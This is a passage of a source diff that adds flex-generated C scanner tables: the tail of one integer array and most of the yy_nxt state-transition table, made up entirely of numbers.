1246, 1372, 1246, 1373, + 1246, 1246, 1246, 1246, 1374, 794, 1375, 1376, 1376, 1376, + + 1376, 1376, 1376, 1376, 1376, 1376, 1376, 1376, 1376, 1377, + 1378, 1246, 1379, 812, 1246, 1380, 815, 1246, 1381, 818, + 1246, 1382, 821, 1383, 1246, 825, 1384, 1385, 1246, 1246, + 1386, 830, 1387, 1246, 1388, 1246, 1246, 1246, 1246, 1389, + 839, 1390, 1246, 1391, 1246, 1392, 1246, 1246, 1246, 1246, + 1393, 850, 1394, 1395, 1246, 1396, 1246, 1397, 1246, 1246, + 1246, 1246, 1398, 862, 1399, 1400, 1246, 1401, 1246, 1402, + 1246, 1246, 1246, 1246, 1403, 874, 1404, 1405, 1246, 1246, + 1406, 1246, 1246, 1407, 1246, 1246, 1246, 1246, 888, 1246, + 890, 1408, 1409, 1410, 1410, 1410, 1410, 1410, 1410, 1410, + + 1410, 1410, 1410, 1411, 1246, 1246, 906, 1412, 1246, 909, + 1413, 1246, 912, 1414, 1246, 915, 1415, 1246, 918, 1416, + 1246, 1246, 1246, 1417, 923, 1418, 1419, 1246, 1246, 1246, + 930, 1420, 1421, 1246, 1246, 1422, 1246, 1246, 1246, 1246, + 940, 1423, 1424, 1246, 1246, 1425, 1246, 1246, 1426, 1246, + 1246, 1246, 1246, 953, 1427, 1428, 1429, 1246, 1246, 1430, + 1246, 1246, 1431, 1246, 1246, 1246, 1246, 967, 1432, 1433, + 1434, 1246, 1246, 1435, 1246, 1246, 1436, 1246, 1246, 1246, + 1246, 981, 1437, 1438, 1439, 1246, 1440, 1246, 1441, 1246, + 1246, 1246, 1246, 1442, 993, 1443, 1444, 1444, 1444, 1444, + + 1444, 1444, 1444, 1444, 1246, 1005, 1445, 1446, 1246, 1447, + 1009, 1246, 1448, 1012, 1246, 1449, 1015, 1246, 1450, 1018, + 1246, 1451, 1021, 1246, 1246, 1246, 1026, 1452, 1453, 1454, + 1455, 1246, 1456, 1246, 1246, 1457, 1246, 1458, 1246, 1459, + 1246, 1246, 1460, 1461, 1246, 1462, 1246, 1463, 1246, 1246, + 1464, 1465, 1246, 1466, 1246, 1467, 1246, 1246, 1468, 1469, + 1246, 1470, 1246, 1471, 1246, 1246, 1472, 1473, 1246, 1246, + 1474, 1246, 1246, 1475, 1246, 1246, 1246, 1246, 1078, 1476, + 1477, 1478, 1478, 1478, 1478, 1246, 1479, 1086, 1480, 1481, + 1482, 1483, 1484, 1485, 1246, 1486, 1246, 1246, 1487, 1488, + + 1246, 1246, 1456, 1246, 1489, 1246, 1246, 1458, 1246, 1246, + 1459, 1246, 1490, 1461, 1246, 1246, 1462, 1246, 1246, 1463, + 1246, 1491, 1465, 1246, 1246, 1466, 1246, 1246, 1467, 1246, + 1492, 1469, 1246, 1246, 1470, 1246, 1246, 1471, 1246, 1493, + 1494, 1246, 1495, 1246, 1496, 1246, 1246, 1497, 1478, 1478, + 1478, 1478, 1498, 1246, 1499, 1500, 1501, 1502, 1503, 1504, + 1246, 1246, 1486, 1246, 1505, 1246, 1246, 1506, 1246, 1507, + 1246, 1508, 1246, 1509, 1246, 1510, 1246, 1511, 1246, 1512, + 1246, 1513, 1246, 1514, 1246, 1494, 1246, 1246, 1495, 1246, + 1246, 1496, 1246, 1515, 1478, 1478, 1478, 1516, 1246, 1517, + + 1246, 1246, 1506, 1507, 1246, 1246, 1508, 1509, 1246, 1246, + 1510, 1511, 1246, 1246, 1512, 1513, 1246, 1246, 1514, 1518, + 1246, 1519, 1246, 1478, 1246, 1246, 1517, 1520, 1521, 1522, + 1523, 1524, 1518, 1246, 1246, 1519, 1525, 1520, 1521, 1522, + 1523, 1524, 1526, 1525, 1526, 0, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, 1246, + 1246, 1246, 1246, 1246, 1246, 1246 + } ; + +static yyconst short int yy_nxt[4767] = + { 0, + 4, 5, 6, 7, 8, 9, 10, 11, 10, 12, + 13, 14, 14, 14, 15, 16, 17, 18, 19, 20, + 20, 10, 21, 12, 22, 23, 24, 25, 26, 27, + 28, 29, 30, 20, 31, 32, 33, 34, 35, 20, + 36, 37, 38, 39, 40, 41, 20, 20, 42, 43, + 43, 43, 1094, 43, 43, 43, 43, 43, 43, 55, + 56, 52, 1103, 43, 43, 43, 58, 59, 72, 74, + 75, 43, 43, 43, 47, 48, 49, 49, 49, 49, + 50, 73, 152, 148, 51, 52, 53, 52, 149, 47, + 51, 51, 51, 51, 51, 51, 52, 52, 52, 52, + + 52, 52, 52, 52, 52, 52, 52, 52, 52, 52, + 52, 52, 53, 52, 43, 153, 70, 1108, 43, 71, + 1111, 43, 52, 51, 51, 51, 51, 60, 54, 67, + 62, 60, 229, 52, 60, 77, 43, 63, 94, 96, + 108, 60, 64, 68, 52, 230, 65, 95, 66, 60, + 69, 78, 90, 1114, 109, 97, 91, 1246, 98, 52, + 52, 52, 52, 52, 1246, 92, 157, 1117, 52, 176, + 52, 93, 158, 139, 52, 52, 52, 52, 52, 52, + 80, 86, 154, 1246, 81, 87, 104, 177, 82, 88, + 83, 89, 84, 99, 105, 85, 111, 140, 100, 101, + + 106, 102, 107, 141, 112, 43, 155, 1120, 113, 43, + 114, 156, 43, 118, 119, 119, 119, 404, 1123, 43, + 52, 121, 121, 121, 121, 407, 405, 43, 48, 120, + 120, 120, 120, 239, 408, 1126, 1129, 121, 52, 121, + 121, 121, 121, 121, 121, 121, 121, 121, 121, 124, + 124, 124, 124, 1132, 240, 132, 47, 124, 52, 121, + 121, 121, 121, 124, 124, 124, 124, 124, 124, 43, + 60, 47, 1135, 43, 60, 1138, 43, 60, 1068, 125, + 126, 126, 126, 43, 60, 159, 798, 127, 1246, 128, + 160, 43, 60, 127, 127, 127, 127, 127, 127, 52, + + 121, 121, 121, 121, 52, 121, 121, 121, 121, 188, + 119, 119, 119, 119, 1246, 1148, 137, 1155, 1156, 1157, + 189, 1158, 143, 52, 192, 192, 192, 192, 52, 192, + 192, 192, 192, 52, 192, 192, 192, 192, 243, 244, + 244, 244, 258, 259, 259, 259, 189, 190, 190, 190, + 190, 191, 1159, 1160, 1163, 192, 262, 263, 263, 263, + 210, 192, 192, 192, 192, 192, 192, 195, 196, 196, + 196, 197, 1166, 1169, 52, 198, 52, 192, 192, 192, + 192, 198, 198, 198, 198, 198, 198, 199, 200, 200, + 200, 200, 201, 1173, 1177, 1181, 202, 1185, 203, 109, + + 52, 1186, 202, 202, 202, 202, 202, 202, 48, 246, + 246, 246, 246, 191, 1246, 261, 261, 261, 261, 48, + 246, 246, 246, 246, 203, 245, 245, 245, 245, 300, + 301, 301, 301, 245, 310, 311, 311, 311, 348, 245, + 245, 245, 245, 245, 245, 252, 253, 253, 253, 253, + 254, 349, 1189, 289, 255, 1192, 256, 1194, 290, 47, + 255, 255, 255, 255, 255, 255, 1198, 291, 1100, 292, + 293, 273, 294, 1105, 47, 1113, 274, 1246, 313, 313, + 313, 313, 256, 199, 260, 260, 260, 260, 201, 275, + 1246, 802, 261, 296, 244, 244, 244, 244, 261, 261, + + 261, 261, 261, 261, 297, 276, 319, 259, 259, 259, + 259, 319, 259, 259, 259, 259, 1246, 320, 1246, 322, + 322, 322, 322, 359, 360, 360, 360, 47, 1122, 47, + 297, 306, 307, 307, 307, 308, 1246, 1246, 1246, 309, + 1131, 1140, 47, 320, 47, 309, 309, 309, 309, 309, + 309, 252, 312, 312, 312, 312, 254, 799, 1154, 1203, + 313, 808, 1246, 1246, 1246, 1204, 313, 313, 313, 313, + 313, 313, 314, 315, 315, 315, 308, 1207, 1208, 1211, + 316, 375, 311, 311, 311, 311, 316, 316, 316, 316, + 316, 316, 199, 321, 321, 321, 321, 201, 1212, 1246, + + 1246, 322, 1246, 378, 378, 378, 378, 322, 322, 322, + 322, 322, 322, 323, 324, 324, 324, 324, 325, 1215, + 1216, 1219, 326, 1223, 327, 1246, 1246, 1246, 326, 326, + 326, 326, 326, 326, 375, 311, 311, 311, 311, 384, + 385, 385, 385, 1165, 47, 376, 388, 389, 389, 389, + 327, 333, 1227, 1246, 1246, 334, 1233, 47, 335, 47, + 1236, 336, 803, 337, 338, 339, 340, 361, 361, 361, + 361, 376, 47, 1246, 1246, 361, 392, 393, 393, 393, + 1246, 361, 361, 361, 361, 361, 361, 252, 364, 364, + 364, 364, 365, 1238, 1239, 1240, 366, 1246, 256, 1246, + + 1246, 1241, 366, 366, 366, 366, 366, 366, 199, 387, + 387, 387, 387, 201, 1246, 391, 391, 391, 391, 360, + 360, 360, 360, 1246, 256, 370, 371, 371, 371, 371, + 372, 1242, 1244, 1245, 373, 1093, 374, 1092, 1091, 1090, + 373, 373, 373, 373, 373, 373, 430, 431, 431, 431, + 433, 434, 434, 434, 442, 443, 443, 443, 450, 451, + 451, 451, 374, 252, 377, 377, 377, 377, 365, 1089, + 1246, 1246, 378, 1246, 445, 445, 445, 445, 378, 378, + 378, 378, 378, 378, 379, 380, 380, 380, 380, 381, + 47, 47, 1246, 382, 1246, 383, 1246, 1246, 1081, 382, + + 382, 382, 382, 382, 382, 47, 47, 360, 360, 360, + 360, 252, 453, 453, 453, 453, 365, 427, 1246, 1080, + 1246, 383, 323, 390, 390, 390, 390, 325, 1074, 1071, + 1068, 391, 454, 455, 455, 455, 47, 391, 391, 391, + 391, 391, 391, 427, 439, 440, 440, 440, 308, 971, + 957, 47, 441, 1246, 457, 457, 457, 457, 441, 441, + 441, 441, 441, 441, 370, 444, 444, 444, 444, 372, + 898, 1030, 878, 445, 462, 385, 385, 385, 385, 445, + 445, 445, 445, 445, 445, 446, 447, 447, 447, 308, + 984, 977, 974, 448, 199, 387, 387, 387, 387, 448, + + 448, 448, 448, 448, 448, 379, 456, 456, 456, 456, + 381, 971, 970, 963, 457, 464, 389, 389, 389, 389, + 457, 457, 457, 457, 457, 457, 458, 459, 459, 459, + 308, 1246, 960, 957, 460, 462, 385, 385, 385, 385, + 460, 460, 460, 460, 460, 460, 463, 464, 389, 389, + 389, 389, 1246, 467, 467, 467, 467, 1246, 465, 510, + 443, 443, 443, 443, 510, 443, 443, 443, 443, 1246, + 511, 1246, 463, 1246, 513, 513, 513, 513, 519, 451, + 451, 451, 451, 47, 465, 323, 466, 466, 466, 466, + 325, 956, 1246, 1246, 467, 1246, 511, 1246, 47, 949, + + 467, 467, 467, 467, 467, 467, 468, 469, 469, 469, + 469, 470, 946, 800, 801, 471, 1246, 472, 1246, 1246, + 943, 471, 471, 471, 471, 471, 471, 252, 453, 453, + 453, 453, 521, 455, 455, 455, 455, 519, 451, 451, + 451, 451, 1246, 472, 493, 493, 493, 493, 520, 936, + 1246, 1246, 493, 1246, 524, 524, 524, 524, 493, 493, + 493, 493, 493, 493, 370, 496, 496, 496, 496, 497, + 1246, 933, 1246, 498, 520, 374, 1246, 1246, 920, 498, + 498, 498, 498, 498, 498, 47, 521, 455, 455, 455, + 455, 530, 531, 531, 531, 47, 1246, 522, 1246, 47, + + 47, 374, 379, 499, 499, 499, 499, 500, 917, 914, + 47, 501, 1246, 383, 47, 807, 806, 501, 501, 501, + 501, 501, 501, 522, 533, 534, 534, 534, 323, 536, + 536, 536, 536, 325, 537, 538, 538, 538, 1246, 383, + 505, 506, 506, 506, 506, 507, 911, 908, 1246, 508, + 1246, 509, 893, 892, 884, 508, 508, 508, 508, 508, + 508, 541, 542, 542, 542, 1246, 540, 540, 540, 540, + 562, 563, 563, 563, 1246, 881, 1246, 509, 370, 512, + 512, 512, 512, 497, 878, 770, 1246, 513, 565, 566, + 566, 566, 47, 513, 513, 513, 513, 513, 513, 514, + + 515, 515, 515, 515, 516, 688, 785, 47, 517, 1246, + 518, 899, 1246, 776, 517, 517, 517, 517, 517, 517, + 1246, 445, 445, 445, 445, 568, 569, 569, 569, 1246, + 457, 457, 457, 457, 773, 1246, 518, 379, 523, 523, + 523, 523, 500, 770, 769, 1246, 524, 577, 578, 578, + 578, 47, 524, 524, 524, 524, 524, 524, 525, 526, + 526, 526, 526, 527, 760, 757, 47, 528, 1246, 529, + 902, 1246, 754, 528, 528, 528, 528, 528, 528, 1246, + 580, 580, 580, 580, 585, 586, 586, 586, 370, 588, + 588, 588, 588, 497, 1246, 529, 468, 539, 539, 539, + + 539, 470, 745, 742, 728, 540, 589, 590, 590, 590, + 47, 540, 540, 540, 540, 540, 540, 370, 444, 444, + 444, 444, 497, 725, 722, 47, 445, 1246, 592, 592, + 592, 592, 445, 445, 445, 445, 445, 445, 379, 456, + 456, 456, 456, 500, 719, 901, 703, 457, 597, 598, + 598, 598, 702, 457, 457, 457, 457, 457, 457, 574, + 575, 575, 575, 308, 694, 691, 688, 576, 600, 601, + 601, 601, 47, 576, 576, 576, 576, 576, 576, 505, + 579, 579, 579, 579, 507, 611, 602, 47, 580, 604, + 605, 605, 605, 599, 580, 580, 580, 580, 580, 580, + + 581, 582, 582, 582, 308, 596, 587, 584, 583, 1246, + 607, 607, 607, 607, 583, 583, 583, 583, 583, 583, + 514, 591, 591, 591, 591, 516, 570, 567, 564, 592, + 531, 531, 531, 531, 544, 592, 592, 592, 592, 592, + 592, 593, 594, 594, 594, 308, 543, 1246, 1246, 595, + 613, 534, 534, 534, 534, 595, 595, 595, 595, 595, + 595, 379, 603, 603, 603, 603, 500, 525, 606, 606, + 606, 606, 527, 1246, 1246, 535, 607, 323, 536, 536, + 536, 536, 607, 607, 607, 607, 607, 607, 608, 609, + 609, 609, 308, 1246, 532, 461, 610, 452, 531, 531, + + 531, 531, 610, 610, 610, 610, 610, 610, 612, 613, + 534, 534, 534, 534, 615, 538, 538, 538, 538, 1246, + 614, 598, 598, 598, 598, 616, 615, 538, 538, 538, + 538, 449, 1246, 435, 612, 1246, 618, 618, 618, 618, + 656, 578, 578, 578, 578, 47, 614, 689, 690, 690, + 690, 616, 468, 617, 617, 617, 617, 470, 1246, 432, + 47, 618, 1246, 659, 659, 659, 659, 618, 618, 618, + 618, 618, 618, 619, 620, 620, 620, 620, 621, 395, + 394, 1001, 622, 386, 623, 317, 302, 265, 622, 622, + 622, 622, 622, 622, 47, 656, 578, 578, 578, 578, + + 665, 586, 586, 586, 586, 264, 657, 117, 47, 47, + 623, 505, 639, 639, 639, 639, 640, 809, 1221, 1199, + 641, 1183, 509, 47, 1179, 1175, 641, 641, 641, 641, + 641, 641, 657, 665, 586, 586, 586, 586, 370, 588, + 588, 588, 588, 1171, 666, 1167, 47, 997, 509, 514, + 642, 642, 642, 642, 643, 1144, 1142, 1095, 644, 994, + 518, 47, 1063, 1061, 644, 644, 644, 644, 644, 644, + 666, 667, 590, 590, 590, 590, 667, 590, 590, 590, + 590, 1055, 668, 1053, 47, 998, 518, 525, 645, 645, + 645, 645, 646, 1047, 1045, 1039, 647, 1037, 529, 47, + + 1032, 1000, 647, 647, 647, 647, 647, 647, 668, 1246, + 670, 670, 670, 670, 677, 601, 601, 601, 601, 379, + 603, 603, 603, 603, 529, 651, 652, 652, 652, 652, + 653, 308, 1087, 1154, 654, 992, 655, 988, 986, 308, + 654, 654, 654, 654, 654, 654, 679, 605, 605, 605, + 605, 1246, 682, 682, 682, 682, 692, 693, 693, 693, + 1022, 308, 655, 505, 658, 658, 658, 658, 640, 1019, + 308, 1016, 659, 696, 697, 697, 697, 47, 659, 659, + 659, 659, 659, 659, 660, 661, 661, 661, 661, 662, + 308, 1013, 47, 663, 308, 664, 1010, 903, 308, 663, + + 663, 663, 663, 663, 663, 468, 695, 695, 695, 695, + 470, 700, 701, 701, 701, 1246, 699, 699, 699, 699, + 922, 664, 514, 669, 669, 669, 669, 643, 308, 308, + 1087, 670, 717, 718, 718, 718, 47, 670, 670, 670, + 670, 670, 670, 671, 672, 672, 672, 672, 673, 795, + 873, 47, 674, 308, 675, 869, 1003, 867, 674, 674, + 674, 674, 674, 674, 598, 598, 598, 598, 677, 601, + 601, 601, 601, 861, 676, 720, 721, 721, 721, 678, + 675, 679, 605, 605, 605, 605, 1246, 580, 580, 580, + 580, 308, 680, 723, 724, 724, 724, 857, 855, 849, + + 676, 726, 727, 727, 727, 678, 1246, 592, 592, 592, + 592, 1246, 607, 607, 607, 607, 308, 845, 680, 525, + 681, 681, 681, 681, 646, 843, 838, 308, 682, 735, + 736, 736, 736, 47, 682, 682, 682, 682, 682, 682, + 683, 684, 684, 684, 684, 685, 834, 829, 47, 686, + 308, 687, 308, 1029, 905, 686, 686, 686, 686, 686, + 686, 1246, 738, 738, 738, 738, 743, 744, 744, 744, + 505, 746, 746, 746, 746, 640, 1022, 687, 619, 698, + 698, 698, 698, 621, 1019, 1016, 1013, 699, 747, 748, + 748, 748, 47, 699, 699, 699, 699, 699, 699, 505, + + 579, 579, 579, 579, 640, 1010, 905, 47, 580, 1246, + 750, 750, 750, 750, 580, 580, 580, 580, 580, 580, + 514, 591, 591, 591, 591, 643, 793, 994, 789, 592, + 755, 756, 756, 756, 47, 592, 592, 592, 592, 592, + 592, 525, 606, 606, 606, 606, 646, 787, 308, 47, + 607, 758, 759, 759, 759, 822, 607, 607, 607, 607, + 607, 607, 732, 733, 733, 733, 308, 308, 819, 308, + 734, 762, 763, 763, 763, 47, 734, 734, 734, 734, + 734, 734, 651, 737, 737, 737, 737, 653, 816, 308, + 47, 738, 1246, 765, 765, 765, 765, 738, 738, 738, + + 738, 738, 738, 739, 740, 740, 740, 308, 813, 308, + 924, 741, 771, 772, 772, 772, 47, 741, 741, 741, + 741, 741, 741, 660, 749, 749, 749, 749, 662, 308, + 905, 47, 750, 774, 775, 775, 775, 905, 750, 750, + 750, 750, 750, 750, 751, 752, 752, 752, 308, 621, + 1195, 683, 753, 778, 779, 779, 779, 875, 753, 753, + 753, 753, 753, 753, 514, 761, 761, 761, 761, 643, + 671, 764, 764, 764, 764, 673, 679, 677, 671, 765, + 1246, 781, 781, 781, 781, 765, 765, 765, 765, 765, + 765, 766, 767, 767, 767, 308, 863, 667, 665, 768, + + 690, 690, 690, 690, 660, 768, 768, 768, 768, 768, + 768, 525, 777, 777, 777, 777, 646, 683, 780, 780, + 780, 780, 685, 851, 656, 651, 781, 787, 693, 693, + 693, 693, 781, 781, 781, 781, 781, 781, 782, 783, + 783, 783, 308, 840, 831, 731, 784, 716, 690, 690, + 690, 690, 784, 784, 784, 784, 784, 784, 786, 787, + 693, 693, 693, 693, 468, 695, 695, 695, 695, 822, + 788, 789, 697, 697, 697, 697, 789, 697, 697, 697, + 697, 819, 790, 47, 786, 1246, 792, 792, 792, 792, + 834, 736, 736, 736, 736, 816, 788, 813, 47, 804, + + 1246, 837, 837, 837, 837, 811, 716, 619, 790, 619, + 791, 791, 791, 791, 621, 795, 805, 615, 792, 843, + 744, 744, 744, 744, 792, 792, 792, 792, 792, 792, + 793, 794, 794, 794, 794, 795, 47, 613, 646, 796, + 643, 797, 640, 731, 716, 796, 796, 796, 796, 796, + 796, 47, 834, 736, 736, 736, 736, 505, 746, 746, + 746, 746, 894, 835, 716, 47, 47, 797, 651, 812, + 812, 812, 812, 813, 714, 713, 712, 814, 711, 655, + 47, 47, 710, 814, 814, 814, 814, 814, 814, 835, + 843, 744, 744, 744, 744, 845, 748, 748, 748, 748, + + 709, 844, 708, 47, 999, 655, 660, 815, 815, 815, + 815, 816, 707, 706, 705, 817, 704, 664, 47, 470, + 525, 817, 817, 817, 817, 817, 817, 844, 845, 748, + 748, 748, 748, 1246, 848, 848, 848, 848, 685, 846, + 521, 47, 1152, 664, 671, 818, 818, 818, 818, 819, + 519, 47, 514, 820, 673, 675, 47, 510, 505, 820, + 820, 820, 820, 820, 820, 846, 47, 756, 756, 756, + 756, 756, 756, 756, 756, 47, 662, 854, 653, 47, + 897, 675, 683, 821, 821, 821, 821, 822, 650, 573, + 47, 823, 561, 687, 47, 1082, 646, 823, 823, 823, + + 823, 823, 823, 854, 855, 759, 759, 759, 759, 514, + 761, 761, 761, 761, 857, 763, 763, 763, 763, 687, + 825, 826, 826, 826, 827, 643, 640, 638, 828, 1246, + 860, 860, 860, 860, 828, 828, 828, 828, 828, 828, + 829, 830, 830, 830, 830, 831, 561, 636, 635, 832, + 634, 833, 633, 632, 631, 832, 832, 832, 832, 832, + 832, 772, 772, 772, 772, 867, 775, 775, 775, 775, + 525, 777, 777, 777, 777, 630, 629, 833, 651, 836, + 836, 836, 836, 813, 628, 627, 626, 837, 869, 779, + 779, 779, 779, 837, 837, 837, 837, 837, 837, 838, + + 839, 839, 839, 839, 840, 625, 624, 468, 841, 621, + 842, 464, 462, 500, 841, 841, 841, 841, 841, 841, + 1246, 872, 872, 872, 872, 879, 880, 880, 880, 882, + 883, 883, 883, 497, 573, 561, 842, 660, 847, 847, + 847, 847, 816, 561, 559, 558, 848, 886, 887, 887, + 887, 47, 848, 848, 848, 848, 848, 848, 849, 850, + 850, 850, 850, 851, 557, 556, 47, 852, 555, 853, + 554, 553, 552, 852, 852, 852, 852, 852, 852, 855, + 759, 759, 759, 759, 551, 857, 763, 763, 763, 763, + 856, 890, 891, 891, 891, 853, 858, 772, 772, 772, + + 772, 619, 885, 885, 885, 885, 621, 866, 1246, 889, + 889, 889, 889, 550, 47, 549, 856, 906, 907, 907, + 907, 47, 858, 671, 859, 859, 859, 859, 819, 47, + 548, 547, 860, 866, 546, 545, 47, 1197, 860, 860, + 860, 860, 860, 860, 861, 862, 862, 862, 862, 863, + 900, 325, 379, 864, 527, 865, 375, 370, 516, 864, + 864, 864, 864, 864, 864, 867, 775, 775, 775, 775, + 47, 869, 779, 779, 779, 779, 868, 47, 507, 504, + 438, 865, 870, 429, 500, 47, 909, 910, 910, 910, + 497, 495, 47, 429, 492, 491, 895, 1246, 738, 738, + + 738, 738, 868, 896, 912, 913, 913, 913, 870, 683, + 871, 871, 871, 871, 822, 490, 489, 488, 872, 1246, + 750, 750, 750, 750, 872, 872, 872, 872, 872, 872, + 873, 874, 874, 874, 874, 875, 487, 486, 485, 876, + 484, 877, 483, 482, 481, 876, 876, 876, 876, 876, + 876, 915, 916, 916, 916, 1246, 765, 765, 765, 765, + 918, 919, 919, 919, 480, 479, 478, 877, 793, 888, + 888, 888, 888, 795, 477, 476, 475, 889, 1246, 781, + 781, 781, 781, 889, 889, 889, 889, 889, 889, 651, + 737, 737, 737, 737, 813, 474, 473, 323, 738, 928, + + 929, 929, 929, 47, 738, 738, 738, 738, 738, 738, + 660, 749, 749, 749, 749, 816, 470, 319, 47, 750, + 1246, 931, 931, 931, 931, 750, 750, 750, 750, 750, + 750, 671, 764, 764, 764, 764, 819, 1224, 365, 438, + 765, 934, 935, 935, 935, 429, 765, 765, 765, 765, + 765, 765, 683, 780, 780, 780, 780, 822, 365, 365, + 429, 781, 938, 939, 939, 939, 296, 781, 781, 781, + 781, 781, 781, 922, 923, 923, 923, 923, 924, 426, + 425, 424, 925, 423, 926, 422, 421, 420, 925, 925, + 925, 925, 925, 925, 651, 937, 937, 937, 937, 813, + + 1246, 941, 941, 941, 941, 944, 945, 945, 945, 419, + 926, 829, 930, 930, 930, 930, 831, 418, 417, 416, + 931, 947, 948, 948, 948, 415, 931, 931, 931, 931, + 931, 931, 838, 940, 940, 940, 940, 840, 414, 413, + 412, 941, 951, 952, 952, 952, 411, 941, 941, 941, + 941, 941, 941, 660, 950, 950, 950, 950, 816, 849, + 953, 953, 953, 953, 851, 410, 409, 406, 954, 1246, + 954, 954, 954, 954, 954, 954, 954, 954, 954, 954, + 958, 959, 959, 959, 961, 962, 962, 962, 671, 964, + 964, 964, 964, 819, 965, 966, 966, 966, 861, 967, + + 967, 967, 967, 863, 403, 402, 401, 968, 1246, 968, + 968, 968, 968, 968, 968, 968, 968, 968, 968, 972, + 973, 973, 973, 975, 976, 976, 976, 683, 978, 978, + 978, 978, 822, 979, 980, 980, 980, 873, 981, 981, + 981, 981, 875, 400, 399, 398, 982, 1246, 982, 982, + 982, 982, 982, 982, 982, 982, 982, 982, 880, 880, + 880, 880, 880, 880, 880, 880, 397, 396, 985, 986, + 883, 883, 883, 883, 986, 883, 883, 883, 883, 201, + 987, 619, 885, 885, 885, 885, 988, 887, 887, 887, + 887, 308, 252, 381, 985, 372, 308, 989, 988, 887, + + 887, 887, 887, 47, 47, 47, 987, 1246, 991, 991, + 991, 991, 1024, 1025, 1025, 1025, 369, 305, 47, 47, + 47, 47, 299, 989, 793, 990, 990, 990, 990, 795, + 1002, 1084, 365, 991, 363, 1004, 47, 47, 299, 991, + 991, 991, 991, 991, 991, 992, 993, 993, 993, 993, + 994, 358, 47, 1149, 995, 1150, 996, 357, 356, 355, + 995, 995, 995, 995, 995, 995, 1246, 1027, 1027, 1027, + 1027, 1032, 929, 929, 929, 929, 1246, 1035, 1035, 1035, + 1035, 354, 996, 1005, 1006, 1006, 1006, 1007, 353, 352, + 351, 1008, 1037, 935, 935, 935, 935, 1008, 1008, 1008, + + 1008, 1008, 1008, 829, 1009, 1009, 1009, 1009, 1010, 350, + 347, 346, 1011, 345, 833, 344, 343, 342, 1011, 1011, + 1011, 1011, 1011, 1011, 47, 1032, 929, 929, 929, 929, + 651, 937, 937, 937, 937, 341, 1033, 332, 331, 47, + 833, 838, 1012, 1012, 1012, 1012, 1013, 330, 1083, 329, + 1014, 328, 842, 199, 325, 308, 1014, 1014, 1014, 1014, + 1014, 1014, 1033, 1037, 935, 935, 935, 935, 1039, 939, + 939, 939, 939, 305, 1038, 299, 299, 188, 842, 849, + 1015, 1015, 1015, 1015, 1016, 295, 288, 287, 1017, 286, + 853, 285, 284, 283, 1017, 1017, 1017, 1017, 1017, 1017, + + 1038, 1039, 939, 939, 939, 939, 1246, 1042, 1042, 1042, + 1042, 282, 1040, 281, 280, 47, 853, 861, 1018, 1018, + 1018, 1018, 1019, 279, 278, 277, 1020, 272, 865, 271, + 47, 173, 1020, 1020, 1020, 1020, 1020, 1020, 1040, 1196, + 945, 945, 945, 945, 945, 945, 945, 945, 270, 269, + 1044, 268, 267, 266, 865, 873, 1021, 1021, 1021, 1021, + 1022, 254, 197, 251, 1023, 194, 877, 191, 248, 109, + 1023, 1023, 1023, 1023, 1023, 1023, 1044, 1045, 948, 948, + 948, 948, 660, 950, 950, 950, 950, 1047, 952, 952, + 952, 952, 877, 922, 1026, 1026, 1026, 1026, 924, 242, + + 241, 173, 1027, 1246, 1050, 1050, 1050, 1050, 1027, 1027, + 1027, 1027, 1027, 1027, 829, 1034, 1034, 1034, 1034, 1010, + 238, 237, 236, 1035, 959, 959, 959, 959, 235, 1035, + 1035, 1035, 1035, 1035, 1035, 838, 1041, 1041, 1041, 1041, + 1013, 234, 233, 232, 1042, 1045, 948, 948, 948, 948, + 1042, 1042, 1042, 1042, 1042, 1042, 1046, 1047, 952, 952, + 952, 952, 1053, 962, 962, 962, 962, 231, 1048, 959, + 959, 959, 959, 671, 964, 964, 964, 964, 228, 1052, + 227, 173, 1046, 1055, 966, 966, 966, 966, 1246, 1058, + 1058, 1058, 1058, 226, 1048, 849, 1049, 1049, 1049, 1049, + + 1016, 225, 224, 223, 1050, 1052, 973, 973, 973, 973, + 1050, 1050, 1050, 1050, 1050, 1050, 1053, 962, 962, 962, + 962, 1055, 966, 966, 966, 966, 222, 1054, 1069, 1070, + 1070, 1070, 1056, 973, 973, 973, 973, 1061, 976, 976, + 976, 976, 221, 1060, 1061, 976, 976, 976, 976, 1072, + 1073, 1073, 1073, 1054, 220, 1062, 219, 218, 1056, 861, + 1057, 1057, 1057, 1057, 1019, 217, 216, 215, 1058, 1060, + 1076, 1077, 1077, 1077, 1058, 1058, 1058, 1058, 1058, 1058, + 214, 1062, 683, 978, 978, 978, 978, 1063, 980, 980, + 980, 980, 1063, 980, 980, 980, 980, 213, 